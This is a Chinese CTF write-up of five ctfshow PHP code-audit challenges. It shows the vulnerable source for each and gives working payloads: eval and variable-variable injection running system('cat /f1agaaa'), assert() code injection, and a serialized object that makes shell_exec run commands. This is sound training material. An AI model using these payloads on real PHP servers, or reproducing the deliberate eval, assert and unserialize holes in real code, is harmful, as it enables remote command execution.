这里将会记录一些我在各大ctf练习平台所碰到的有关php代码审计的题目,考点有弱类型绕过,伪协议,反序列化等等。因为是在备赛,且只是菜鸡一个,多多见谅,会努力学习。

1. 这是来自ctfshow 菜狗杯的一道题目:我的眼里只有$
打开靶场如下图所示
php
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2022-11-10 17:20:38
# @Last Modified by: h1xa
# @Last Modified time: 2022-11-11 08:21:54
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
error_reporting(0);
extract($_POST);
eval($$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$_);
highlight_file(__FILE__);
这道题初次看比较懵,非常多的美元符号,其实是一道套娃的题目,参考了一下大佬的思路,比如传进来的参数是_=a,那么就是_=a,再传入一个参数a=b,那么就是$__=b,再接着下去就行了。
下面是python的代码
python
import string
a='_=a&'
s=string.ascii_letters
code="system('ls /');"
for i in range(35):
a+=s[i]+"="+s[i+1]+"&"
a+=s[i]+"="+code
print(a)
一共是36个$,所以我们首先构造一个,后面的使用for循环构造,完了之后拼接我们想要执行的命令,读取根目录下的所有文件。
执行完如下图所示 _=a&a=b&b=c&c=d&d=e&e=f&f=g&g=h&h=i&i=j&j=k&k=l&l=m&m=n&n=o&o=p&p=q&q=r&r=s&s=t&t=u&u=v&v=w&w=x&x=y&y=z&z=A&A=B&B=C&C=D&D=E&E=F&F=G&G=H&H=I&I=J&I=system('ls /');
记得使用post提交,回显如下图所示

发现我们想要的文件名已经给出来了:f1agaaa。更换命令使用system('cat /f1agaaa')
less
_=a&a=b&b=c&c=d&d=e&e=f&f=g&g=h&h=i&i=j&j=k&k=l&l=m&m=n&n=o&o=p&p=q&q=r&r=s&s=t&t=u&u=v&v=w&w=x&x=y&y=z&z=A&A=B&B=C&C=D&D=E&E=F&F=G&G=H&H=I&I=J&I=system('cat /f1agaaa');

最终成功得到了我们想要的flag。
2.这是来自ctfshow菜狗杯的一道题:一言既出
代码如下图所示
php
<?php
highlight_file(__FILE__);
include "flag.php";
if (isset($_GET['num'])){
if ($_GET['num'] == 114514){
assert("intval($_GET[num])==1919810") or die("一言既出,驷马难追!");
echo $flag;
}
}
简单分析,首先我们需要通过get方法传递参数,进入第一个if语句,然后要满足num=114514,以及intval函数化整之后为1919810,这显然是不可能同时满足的,所以我们需要绕过。
注意这个intval函数,结合一下注入的思路,我们可以尝试闭合这个函数使其绕过检测。
payload:
ini
?num=114514);(1919810
php弱类型,在if语句中比较时,参数自动转为114514,舍去了后面的部分。接着在asset函数中,intval函数提前闭合,";"使语句终止,再1919810==1919810,永真语句成功绕过。

3.这道题是第二题的后续:驷马难追
php
<?php
highlight_file(__FILE__);
include "flag.php";
if (isset($_GET['num'])){
if ($_GET['num'] == 114514 && check($_GET['num'])){
assert("intval($_GET[num])==1919810") or die("一言既出,驷马难追!");
echo $flag;
}
}
function check($str){
return !preg_match("/[a-z]|\;|\(|\)/",$str);
}
这道题是上一题的加强版,正则匹配中,限制了小写字母,";"以及左右括号。 思考了很久,似乎被第二题给思维定式了,于是看了看大佬的思路,,发现非常的巧妙!
payload:
perl
114514%2B1805296
这里的加号需要url转码,再赋值(直接写+号,事实上在url中表示空格)。前面是同理的,php弱类型绕过,判断的时候自动舍去后面的东西,留下114514。 接着是intval函数,首先是会进行里面的加法运算,得到1919810,符合条件,成功绕过。

4.这是ctfshow菜狗杯的一道题:webshell
下图所示是代码:
php
<?php
error_reporting(0);
class Webshell {
public $cmd = 'echo "Hello World!"';
public function __construct() {
$this->init();
}
public function init() {
if (!preg_match('/flag/i', $this->cmd)) {
$this->exec($this->cmd);
}
}
public function exec($cmd) {
$result = shell_exec($cmd);
echo $result;
}
}
if(isset($_GET['cmd'])) {
$serializecmd = $_GET['cmd'];
$unserializecmd = unserialize($serializecmd);
$unserializecmd->init();
}
else {
highlight_file(__FILE__);
}
?>
仔细看发现是反序列化。由Wedshell类中的函数可知,我们不能使$cmd参数带有"flag"(正则表达式限制),代码顺下去发现参数会被shell_exec()函数调用,可执行shell命令,也就是说我们可以写进执行命令的语句。
序列化构造:
php
<?php
class Webshell {
public $cmd = 'cat * >1.txt';
}
$a = new Webshell();
echo serialize($a);
?>
参数表明就当前目录下所有文件合并写入1.txt中,避免了敏感词"flag"。
运行后如下所示,再拼接到url参数后
css
O:8:"Webshell":1:{s:3:"cmd";s:12:"cat * >1.txt";}

在1.txt中成功找到flag

5.这是来自ctfshow菜狗杯的一道题:化零为整
代码如下所示:
php
<?php
highlight_file(__FILE__);
include "flag.php";
$result='';
for ($i=1;$i<=count($_GET);$i++){
if (strlen($_GET[$i])>1){
die("你太长了!!");
}
else{
$result=$result.$_GET[$i];
}
}
if ($result ==="大牛"){
echo $flag;
}
初步分析一下代码,这里的count($_GET)表示传入的参数个数,以此决定我们循环的次数。接着就没有什么思路了,看了一下大佬的题解,发现"大牛"是需要url编码的。
编码如下:
perl
%E5%A4%A7%E7%89%9B
for循环是需要一个字符一个字符的拼接,每个字符的长度为1,并且每个字符作为参数传入
perl
?1=%E5&2=%A4&3=%A7&4=%E7&5=%89&6=%9B
原理:
这里$i在循环中是累加的
以至于$result是依次拼接url中对应次序的参数。
最终可以回显flag。
